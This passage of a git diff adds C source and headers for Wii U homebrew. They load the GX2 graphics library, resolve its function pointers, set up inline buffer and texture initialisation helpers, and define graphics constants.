r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); + +void InitAcquireGX2(void) +{ + OSDynLoad_Acquire("gx2.rpl", &gx2_handle); +} + +void InitGX2FunctionPointers(void) +{ + unsigned int *funcPointer = 0; + InitAcquireGX2(); + + OS_FIND_EXPORT(gx2_handle, GX2Init); + OS_FIND_EXPORT(gx2_handle, GX2Shutdown); + OS_FIND_EXPORT(gx2_handle, GX2Flush); + OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); + OS_FIND_EXPORT(gx2_handle, GX2DrawDone); + OS_FIND_EXPORT(gx2_handle, GX2ClearColor); + OS_FIND_EXPORT(gx2_handle, GX2SetViewport); + OS_FIND_EXPORT(gx2_handle, GX2SetScissor); + OS_FIND_EXPORT(gx2_handle, GX2SetContextState); + OS_FIND_EXPORT(gx2_handle, GX2DrawEx); + OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); + OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); + OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); + OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); + OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); + OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); + OS_FIND_EXPORT(gx2_handle, GX2Invalidate); + OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); + OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); + OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); + OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); + OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); + OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); + OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); + OS_FIND_EXPORT(gx2_handle, GX2InitSampler); + OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); + OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); + OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); + OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); + OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); + OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); + OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); + OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); + OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); + OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); + OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); + OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); + OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); + OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); + OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); + OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); + OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); + OS_FIND_EXPORT(gx2_handle, GX2CopySurface); + OS_FIND_EXPORT(gx2_handle, GX2ClearBuffersEx); + OS_FIND_EXPORT(gx2_handle, GX2SetClearDepthStencil); +} diff --git a/src/dynamic_libs/gx2_functions.h b/src/dynamic_libs/gx2_functions.h new file mode 100644 index 0000000..0b06826 --- /dev/null +++ b/src/dynamic_libs/gx2_functions.h @@ -0,0 +1,211 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __GX2_FUNCTIONS_H_ +#define __GX2_FUNCTIONS_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "gx2_types.h" + +extern unsigned int gx2_handle; + +void InitGX2FunctionPointers(void); +void InitAcquireGX2(void); + +extern void (* GX2Init)(u32 * init_attribs); +extern void (* GX2Shutdown)(void); +extern void (* GX2Flush)(void); +extern s32 (* GX2GetMainCoreId)(void) ; +extern s32 (* GX2DrawDone)(void); +extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); +extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); +extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht); +extern void (* GX2SetContextState)(const GX2ContextState* state); +extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); +extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); +extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); +extern void (* GX2SetClearDepthStencil)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value); +extern void (* GX2CopyColorBufferToScanBuffer)(const GX2ColorBuffer *colorBuffer, s32 scan_target); +extern void (* GX2SwapScanBuffers)(void); +extern void (* GX2SetTVEnable)(s32 enable); +extern void (* GX2SetSwapInterval)(u32 swap_interval); +extern u32 (* GX2GetSwapInterval)(void); +extern void (* GX2WaitForVsync)(void); +extern void (* GX2CalcTVSize)(s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); +extern void (* GX2Invalidate)(s32 invalidate_type, void * ptr, u32 buffer_size); +extern void (* GX2SetTVBuffer)(void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); +extern void (* GX2CalcSurfaceSizeAndAlignment)(GX2Surface *surface); +extern void (* GX2InitDepthBufferRegs)(GX2DepthBuffer *depthBuffer); +extern void (* GX2InitColorBufferRegs)(GX2ColorBuffer *colorBuffer); +extern void (* GX2CalcColorBufferAuxInfo)(GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); +extern void (* GX2CalcDepthBufferHiZInfo)(GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); +extern void (* GX2InitDepthBufferHiZEnable)(GX2DepthBuffer *depthBuffer, s32 hiZ_enable); +extern void (* GX2SetupContextStateEx)(GX2ContextState* state, s32 enable_profiling); +extern void (* GX2SetColorBuffer)(const GX2ColorBuffer *colorBuffer, s32 target); +extern void (* GX2SetDepthBuffer)(const GX2DepthBuffer *depthBuffer); +extern void (* GX2SetAttribBuffer)(u32 attr_index, u32 attr_size, u32 stride, const void* attr); +extern void (* GX2InitTextureRegs)(GX2Texture *texture); +extern void (* GX2InitSampler)(GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); +extern u32 (* GX2CalcFetchShaderSizeEx)(u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2InitFetchShaderEx)(GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); +extern void (* GX2SetFetchShader)(const GX2FetchShader* fs); +extern void (* GX2SetVertexUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelUniformReg)(u32 offset, u32 count, const void *values); +extern void (* GX2SetPixelTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetVertexTexture)(const GX2Texture *texture, u32 texture_hw_location); +extern void (* GX2SetPixelSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetVertexSampler)(const GX2Sampler *sampler, u32 sampler_hw_location); +extern void (* GX2SetPixelShader)(const GX2PixelShader* pixelShader); +extern void (* GX2SetVertexShader)(const GX2VertexShader* vertexShader); +extern void (* GX2InitSamplerZMFilter)(GX2Sampler *sampler, s32 z_filter, s32 mip_filter); +extern void (* GX2SetColorControl)(s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); +extern void (* GX2SetDepthOnlyControl)(s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); +extern void (* GX2SetBlendControl)(s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); +extern void (* GX2CalcDRCSize)(s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); +extern void (* GX2SetDRCBuffer)(void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); +extern void (* GX2SetDRCScale)(u32 width, u32 height); +extern void (* GX2SetDRCEnable)(s32 enable); +extern void (* GX2SetPolygonControl)(s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); +extern void (* GX2SetCullOnlyControl)(s32 front_face_mode, s32 cull_front, s32 cull_back); +extern void (* GX2SetDepthStencilControl)(s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, + s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, + s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); +extern void (* GX2SetStencilMask)(u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); +extern void (* GX2SetLineWidth)(f32 width); +extern void (* GX2SetTVGamma)(f32 val); +extern void (* GX2SetDRCGamma)(f32 val); +extern s32 (* GX2GetSystemTVScanMode)(void); +extern s32 (* GX2GetSystemDRCScanMode)(void); +extern void (* GX2RSetAllocator)(void * (*allocFunc)(u32, u32, u32), void (*freeFunc)(u32, void*)); +extern void (* GX2CopySurface)(GX2Surface * srcSurface,u32 srcMip,u32 srcSlice,GX2Surface * dstSurface,u32 dstMip,u32 dstSlice ); +extern void (* GX2ClearBuffersEx)(GX2ColorBuffer * colorBuffer,GX2DepthBuffer * depthBuffer,f32 r, f32 g, f32 b, f32 a,f32 depthValue,u8 stencilValue,int clearFlags); + +static inline void GX2InitDepthBuffer(GX2DepthBuffer *depthBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + depthBuffer->surface.dimension = dimension; + depthBuffer->surface.width = width; + depthBuffer->surface.height = height; + depthBuffer->surface.depth = depth; + depthBuffer->surface.num_mips = 1; + depthBuffer->surface.format = format; + depthBuffer->surface.aa = aa; + depthBuffer->surface.use = ((format==GX2_SURFACE_FORMAT_D_D24_S8_UNORM) || (format==GX2_SURFACE_FORMAT_D_D24_S8_FLOAT)) ? GX2_SURFACE_USE_DEPTH_BUFFER : GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE; + depthBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + depthBuffer->surface.swizzle = 0; + depthBuffer->view_mip = 0; + depthBuffer->view_first_slice = 0; + depthBuffer->view_slices_count = depth; + depthBuffer->clear_depth = 1.0f; + depthBuffer->clear_stencil = 0; + depthBuffer->hiZ_data = NULL; + depthBuffer->hiZ_size = 0; + GX2CalcSurfaceSizeAndAlignment(&depthBuffer->surface); + GX2InitDepthBufferRegs(depthBuffer); +} + +static inline void GX2InitColorBuffer(GX2ColorBuffer *colorBuffer, s32 dimension, u32 width, u32 height, u32 depth, s32 format, s32 aa) +{ + colorBuffer->surface.dimension = dimension; + colorBuffer->surface.width = width; + colorBuffer->surface.height = height; + colorBuffer->surface.depth = depth; + colorBuffer->surface.num_mips = 1; + colorBuffer->surface.format = format; + colorBuffer->surface.aa = aa; + colorBuffer->surface.use = GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV; + colorBuffer->surface.image_size = 0; + colorBuffer->surface.image_data = NULL; + colorBuffer->surface.mip_size = 0; + colorBuffer->surface.mip_data = NULL; + colorBuffer->surface.tile = GX2_TILE_MODE_DEFAULT; + colorBuffer->surface.swizzle = 0; + colorBuffer->surface.align = 0; + colorBuffer->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + colorBuffer->surface.mip_offset[i] = 0; + colorBuffer->view_mip = 0; + colorBuffer->view_first_slice = 0; + colorBuffer->view_slices_count = depth; + colorBuffer->aux_data = NULL; + colorBuffer->aux_size = 0; + for(i = 0; i < 5; i++) + colorBuffer->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); + GX2InitColorBufferRegs(colorBuffer); +} + +static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, s32 format) +{ + attr->location = location; + attr->buffer = buffer; + attr->offset = offset; + attr->format = format; + attr->index_type = 0; + attr->divisor = 0; + attr->destination_selector = attribute_dest_comp_selector[format & 0xff]; + attr->endian_swap = GX2_ENDIANSWAP_DEFAULT; +} + +static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 num_mips, s32 format, s32 dimension, s32 tile) +{ + tex->surface.dimension = dimension; + tex->surface.width = width; + tex->surface.height = height; + tex->surface.depth = depth; + tex->surface.num_mips = num_mips; + tex->surface.format = format; + tex->surface.aa = GX2_AA_MODE_1X; + tex->surface.use = GX2_SURFACE_USE_TEXTURE; + tex->surface.image_size = 0; + tex->surface.image_data = NULL; + tex->surface.mip_size = 0; + tex->surface.mip_data = NULL; + tex->surface.tile = tile; + tex->surface.swizzle = 0; + tex->surface.align = 0; + tex->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + tex->surface.mip_offset[i] = 0; + tex->view_first_mip = 0; + tex->view_mips_count = num_mips; + tex->view_first_slice = 0; + tex->view_slices_count = depth; + tex->component_selector = texture_comp_selector[format & 0x3f]; + for(i = 0; i < 5; i++) + tex->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&tex->surface); + GX2InitTextureRegs(tex); +} + +#ifdef __cplusplus +} +#endif + +#endif // __GX2_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_types.h b/src/dynamic_libs/gx2_types.h new file mode 100644 index 0000000..e292318 --- /dev/null +++ b/src/dynamic_libs/gx2_types.h @@ -0,0 +1,699 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _GX2_TYPES_H_ +#define _GX2_TYPES_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include + +//!----------------------------------------------------------------------------------------------------------------------- +//! Constants +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMMAND_BUFFER_SIZE 0x400000 +#define GX2_SCAN_BUFFER_ALIGNMENT 0x1000 +#define GX2_SHADER_ALIGNMENT 0x100 +#define GX2_CONTEXT_STATE_ALIGNMENT 0x100 +#define GX2_DISPLAY_LIST_ALIGNMENT 0x20 +#define GX2_VERTEX_BUFFER_ALIGNMENT 0x40 +#define GX2_INDEX_BUFFER_ALIGNMENT 0x20 + +#define GX2_CONTEXT_STATE_SIZE 0xA100 + +#define GX2_AUX_BUFFER_CLEAR_VALUE 0xCC + +//!----------------------------------------------------------------------------------------------------------------------- +//! Common +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FALSE 0 +#define GX2_TRUE 1 +#define GX2_DISABLE 0 +#define GX2_ENABLE 1 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2InitAttrib +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INIT_ATTRIB_NULL 0 +#define GX2_INIT_ATTRIB_CB_BASE 1 +#define GX2_INIT_ATTRIB_CB_SIZE 2 +#define GX2_INIT_ATTRIB_ARGC 7 +#define GX2_INIT_ATTRIB_ARGV 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 compare functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMPARE_NEVER 0 +#define GX2_COMPARE_LESS 1 +#define GX2_COMPARE_EQUAL 2 +#define GX2_COMPARE_LEQUAL 3 +#define GX2_COMPARE_GREATER 4 +#define GX2_COMPARE_NOTEQUAL 5 +#define GX2_COMPARE_GEQUAL 6 +#define GX2_COMPARE_ALWAYS 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 stencil functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_STENCIL_KEEP 0 +#define GX2_STENCIL_ZERO 1 +#define GX2_STENCIL_REPLACE 2 +#define GX2_STENCIL_INCR 3 +#define GX2_STENCIL_DECR 4 +#define GX2_STENCIL_INVERT 5 +#define GX2_STENCIL_INCR_WRAP 6 +#define GX2_STENCIL_DECR_WRAP 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 logic op functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_LOGIC_OP_CLEAR 0x00 +#define GX2_LOGIC_OP_NOR 0x11 +#define GX2_LOGIC_OP_INVAND 0x22 +#define GX2_LOGIC_OP_INVCOPY 0x33 +#define GX2_LOGIC_OP_REVAND 0x44 +#define GX2_LOGIC_OP_INV 0x55 +#define GX2_LOGIC_OP_XOR 0x66 +#define GX2_LOGIC_OP_NAND 0x77 +#define GX2_LOGIC_OP_AND 0x88 +#define GX2_LOGIC_OP_EQUIV 0x99 +#define GX2_LOGIC_OP_NOOP 0xAA +#define GX2_LOGIC_OP_INVOR 0xBB +#define GX2_LOGIC_OP_COPY 0xCC +#define GX2_LOGIC_OP_REVOR 0xDD +#define GX2_LOGIC_OP_OR 0xEE +#define GX2_LOGIC_OP_SET 0xFF + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend combination functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_COMBINE_ADD 0x00 +#define GX2_BLEND_COMBINE_SRC_MINUS_DST 0x01 +#define GX2_BLEND_COMBINE_MIN 0x02 +#define GX2_BLEND_COMBINE_MAX 0x03 +#define GX2_BLEND_COMBINE_DST_MINUS_SRC 0x04 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 blend functions +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BLEND_ZERO 0x00 +#define GX2_BLEND_ONE 0x01 +#define GX2_BLEND_SRC_ALPHA 0x04 +#define GX2_BLEND_ONE_MINUS_SRC_ALPHA 0x05 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 render targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_RENDER_TARGET_0 0 +#define GX2_RENDER_TARGET_1 1 +#define GX2_RENDER_TARGET_2 2 +#define GX2_RENDER_TARGET_3 3 +#define GX2_RENDER_TARGET_4 4 +#define GX2_RENDER_TARGET_5 5 +#define GX2_RENDER_TARGET_6 6 +#define GX2_RENDER_TARGET_7 7 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 cull modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FRONT_FACE_CCW 0 +#define GX2_FRONT_FACE_CW 1 +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 polygon modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_POLYGON_MODE_POINT 0 +#define GX2_POLYGON_MODE_LINE 1 +#define GX2_POLYGON_MODE_TRIANGLE 2 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 special states +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SPECIAL_STATE_CLEAR 0 +#define GX2_SPECIAL_STATE_CLEAR_HIZ 1 +#define GX2_SPECIAL_STATE_COPY 2 +#define GX2_SPECIAL_STATE_EXPAND_COLOR 3 +#define GX2_SPECIAL_STATE_EXPAND_DEPTH 4 +#define GX2_SPECIAL_STATE_CONVERT_DEPTH 5 +#define GX2_SPECIAL_STATE_CONVERT_AADEPTH 6 +#define GX2_SPECIAL_STATE_RESOLVE_COLOR 7 +#define GX2_SPECIAL_STATE_CLEAR_COLOR_AS_DEPTH 8 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 attribute formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ATTRIB_FORMAT_8_UNORM 0x00000000 +#define GX2_ATTRIB_FORMAT_4_4_UNORM 0x00000001 +#define GX2_ATTRIB_FORMAT_16_UNORM 0x00000002 +#define GX2_ATTRIB_FORMAT_8_8_UNORM 0x00000004 +#define GX2_ATTRIB_FORMAT_16_16_UNORM 0x00000007 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UNORM 0x0000000A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UNORM 0x0000000B +#define GX2_ATTRIB_FORMAT_16_16_16_16_UNORM 0x0000000E + +#define GX2_ATTRIB_FORMAT_8_UINT 0x00000100 +#define GX2_ATTRIB_FORMAT_16_UINT 0x00000102 +#define GX2_ATTRIB_FORMAT_8_8_UINT 0x00000104 +#define GX2_ATTRIB_FORMAT_32_UINT 0x00000105 +#define GX2_ATTRIB_FORMAT_16_16_UINT 0x00000107 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT 0x0000010A +#define GX2_ATTRIB_FORMAT_10_10_10_2_UINT 0x0000010B +#define GX2_ATTRIB_FORMAT_32_32_UINT 0x0000010C +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT 0x0000010E +#define GX2_ATTRIB_FORMAT_32_32_32_UINT 0x00000110 +#define GX2_ATTRIB_FORMAT_32_32_32_32_UINT 0x00000112 + +#define GX2_ATTRIB_FORMAT_8_SNORM 0x00000200 +#define GX2_ATTRIB_FORMAT_16_SNORM 0x00000202 +#define GX2_ATTRIB_FORMAT_8_8_SNORM 0x00000204 +#define GX2_ATTRIB_FORMAT_16_16_SNORM 0x00000207 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SNORM 0x0000020A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SNORM 0x0000020B +#define GX2_ATTRIB_FORMAT_16_16_16_16_SNORM 0x0000020E + +#define GX2_ATTRIB_FORMAT_8_SINT 0x00000300 +#define GX2_ATTRIB_FORMAT_16_SINT 0x00000303 +#define GX2_ATTRIB_FORMAT_8_8_SINT 0x00000304 +#define GX2_ATTRIB_FORMAT_32_SINT 0x00000305 +#define GX2_ATTRIB_FORMAT_16_16_SINT 0x00000307 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT 0x0000030A +#define GX2_ATTRIB_FORMAT_10_10_10_2_SINT 0x0000030B +#define GX2_ATTRIB_FORMAT_32_32_SINT 0x0000030C +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT 0x0000030E +#define GX2_ATTRIB_FORMAT_32_32_32_SINT 0x00000310 +#define GX2_ATTRIB_FORMAT_32_32_32_32_SINT 0x00000312 + +#define GX2_ATTRIB_FORMAT_8_UINT_TO_FLOAT 0x00000800 +#define GX2_ATTRIB_FORMAT_16_UINT_TO_FLOAT 0x00000802 +#define GX2_ATTRIB_FORMAT_16_FLOAT 0x00000803 +#define GX2_ATTRIB_FORMAT_8_8_UINT_TO_FLOAT 0x00000804 +#define GX2_ATTRIB_FORMAT_32_FLOAT 0x00000806 +#define GX2_ATTRIB_FORMAT_16_16_UINT_TO_FLOAT 0x00000807 +#define GX2_ATTRIB_FORMAT_16_16_FLOAT 0x00000808 +#define GX2_ATTRIB_FORMAT_10_11_11_FLOAT 0x00000809 +#define GX2_ATTRIB_FORMAT_8_8_8_8_UINT_TO_FLOAT 0x0000080A +#define GX2_ATTRIB_FORMAT_32_32_FLOAT 0x0000080D +#define GX2_ATTRIB_FORMAT_16_16_16_16_UINT_TO_FLOAT 0x0000080E +#define GX2_ATTRIB_FORMAT_16_16_16_16_FLOAT 0x0000080F +#define GX2_ATTRIB_FORMAT_32_32_32_FLOAT 0x00000811 +#define GX2_ATTRIB_FORMAT_32_32_32_32_FLOAT 0x00000813 + +#define GX2_ATTRIB_FORMAT_8_SINT_TO_FLOAT 0x00000A00 +#define GX2_ATTRIB_FORMAT_16_SINT_TO_FLOAT 0x00000A02 +#define GX2_ATTRIB_FORMAT_8_8_SINT_TO_FLOAT 0x00000A04 +#define GX2_ATTRIB_FORMAT_16_16_SINT_TO_FLOAT 0x00000A07 +#define GX2_ATTRIB_FORMAT_8_8_8_8_SINT_TO_FLOAT 0x00000A0A +#define GX2_ATTRIB_FORMAT_16_16_16_16_SINT_TO_FLOAT 0x00000A0E + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SHADER_MODE_UNIFORM_REGISTER 0 +#define GX2_SHADER_MODE_UNIFORM_BLOCK 1 +#define GX2_SHADER_MODE_GEOMETRY_SHADER 2 +#define GX2_SHADER_MODE_COMPUTE_SHADER 3 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 shader modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_COMP_SEL_NONE 0x04040405 +#define GX2_COMP_SEL_X001 0x00040405 +#define GX2_COMP_SEL_XY01 0x00010405 +#define GX2_COMP_SEL_XYZ1 0x00010205 +#define GX2_COMP_SEL_XYZW 0x00010203 +#define GX2_COMP_SEL_XXXX 0x00000000 +#define GX2_COMP_SEL_YYYY 0x01010101 +#define GX2_COMP_SEL_ZZZZ 0x02020202 +#define GX2_COMP_SEL_WWWW 0x03030303 +#define GX2_COMP_SEL_WZYX 0x03020100 +#define GX2_COMP_SEL_WXYZ 0x03000102 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 variable types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_VAR_TYPE_VOID 0 +#define GX2_VAR_TYPE_BOOL 1 +#define GX2_VAR_TYPE_INT 2 +#define GX2_VAR_TYPE_UINT 3 +#define GX2_VAR_TYPE_FLOAT 4 +#define GX2_VAR_TYPE_DOUBLE 5 +#define GX2_VAR_TYPE_VEC2 9 +#define GX2_VAR_TYPE_VEC3 10 +#define GX2_VAR_TYPE_VEC4 11 +#define GX2_VAR_TYPE_MAT2 21 +#define GX2_VAR_TYPE_MAT3 25 +#define GX2_VAR_TYPE_MAT4 29 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 sample types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SAMPLER_TYPE_2D 1 + + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 index formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INDEX_FORMAT_U16 4 +#define GX2_INDEX_FORMAT_U32 9 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 primitive types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_PRIMITIVE_POINTS 0x01 +#define GX2_PRIMITIVE_LINES 0x02 +#define GX2_PRIMITIVE_LINE_STRIP 0x03 +#define GX2_PRIMITIVE_TRIANGLES 0x04 +#define GX2_PRIMITIVE_TRIANGLE_FAN 0x05 +#define GX2_PRIMITIVE_TRIANGLE_STRIP 0x06 +#define GX2_PRIMITIVE_RECTS 0x11 +#define GX2_PRIMITIVE_QUADS 0x13 +#define GX2_PRIMITIVE_QUAD_STRIP 0x14 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 clear modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_CLEAR_DEPTH 0x01 +#define GX2_CLEAR_STENCIL 0x02 +#define GX2_CLEAR_BOTH (GX2_CLEAR_DEPTH | GX2_CLEAR_STENCIL) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface formats +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_FORMAT_TC_R8_UNORM 0x00000001 +#define GX2_SURFACE_FORMAT_T_R4_G4_UNORM 0x00000002 +#define GX2_SURFACE_FORMAT_TCD_R16_UNORM 0x00000005 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UNORM 0x00000007 +#define GX2_SURFACE_FORMAT_TCS_R5_G6_B5_UNORM 0x00000008 +#define 